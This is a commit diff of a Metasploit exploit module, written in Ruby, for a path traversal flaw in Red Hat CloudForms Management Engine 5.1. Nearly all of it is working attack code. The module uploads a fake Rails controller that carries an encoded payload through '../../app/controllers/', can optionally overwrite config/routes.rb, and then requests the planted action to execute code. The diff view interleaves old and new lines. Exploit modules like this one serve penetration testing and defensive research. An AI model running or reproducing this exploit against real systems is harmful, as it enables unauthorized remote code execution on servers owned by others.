Merge pull request #1 from jvazquez-r7/review_2745

Clean pull request
bug/bundler_fix
Ramon de C Valle 2013-12-18 09:38:56 -08:00
commit 819236c6ec
1 changed files with 45 additions and 33 deletions

View File

@ -1,8 +1,6 @@
## ##
# This file is part of the Metasploit Framework and may be subject to # This module requires Metasploit: http//metasploit.com/download
# redistribution and commercial restrictions. Please see the Metasploit # Current source: https://github.com/rapid7/metasploit-framework
# web site for more information on licensing and terms of use.
# http://metasploit.com/
## ##
require 'msf/core' require 'msf/core'
@ -15,10 +13,10 @@ class Metasploit4 < Msf::Exploit::Remote
super( super(
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal', 'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
'Description' => %q{ 'Description' => %q{
This module exploits a path traversal vulnerability in the "linuxpkgs" This module exploits a path traversal vulnerability in the "linuxpkgs"
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier). (ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
It uploads a fake controller to the controllers directory of the Rails It uploads a fake controller to the controllers directory of the Rails
application with the encoded payload as an action and sends a request to application with the encoded payload as an action and sends a request to
this action to execute the payload. Optionally, it can also upload a routing this action to execute the payload. Optionally, it can also upload a routing
file containing a route to the action. (Which is not necessary, since the file containing a route to the action. (Which is not necessary, since the
@ -40,33 +38,52 @@ class Metasploit4 < Msf::Exploit::Remote
['Automatic', {}] ['Automatic', {}]
], ],
'DisclosureDate' => 'Sep 4 2013', 'DisclosureDate' => 'Sep 4 2013',
'DefaultOptions' => { 'PrependFork' => true }, 'DefaultOptions' =>
{
'PrependFork' => true,
'SSL' => true
},
'DefaultTarget' => 0 'DefaultTarget' => 0
) )
register_options( register_options(
[ [
Opt::RPORT(443), Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptBool.new('ROUTES', [true, 'Upload a routing file', false]),
OptString.new('CONTROLLER', [false, 'The name of the controller']), OptString.new('CONTROLLER', [false, 'The name of the controller']),
OptString.new('ACTION', [false, 'The name of the action']), OptString.new('ACTION', [false, 'The name of the action']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ]) OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
], self.class ], self.class
) )
register_advanced_options(
[
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
], self.class)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ping.html")
)
if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end end
def exploit def exploit
controller = controller =
if datastore['CONTROLLER'].nil? || datastore['CONTROLLER'].empty? if datastore['CONTROLLER'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3) Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else else
datastore['CONTROLLER'].downcase datastore['CONTROLLER'].downcase
end end
action = action =
if datastore['ACTION'].nil? || datastore['ACTION'].empty? if datastore['ACTION'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3) Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else else
datastore['ACTION'].downcase datastore['ACTION'].downcase
@ -75,33 +92,16 @@ class Metasploit4 < Msf::Exploit::Remote
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n" data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...") print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
res = send_request_cgi( res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
'filename' => "../../app/controllers/#{controller}_controller.rb",
'md5' => Rex::Text.md5(data)
}
)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil? fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
if datastore['ROUTES'] if datastore['ROUTES']
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n" data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...") print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
res = send_request_cgi( res = upload_file("../../config/routes.rb", data)
'method' => datastore['HTTP_METHOD'], fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
'filename' => '../../config/routes.rb',
'md5' => Rex::Text.md5(data)
}
)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
end end
print_status("Sending execute request to #{target_url(controller, action)}...") print_status("Sending execute request to #{target_url(controller, action)}...")
@ -109,8 +109,20 @@ class Metasploit4 < Msf::Exploit::Remote
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, controller, action) 'uri' => normalize_uri(target_uri.path, controller, action)
) )
end
handler def upload_file(filename, data)
res = send_request_cgi(
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
'filename' => filename,
'md5' => Rex::Text.md5(data)
}
)
return res
end end
def target_url(*args) def target_url(*args)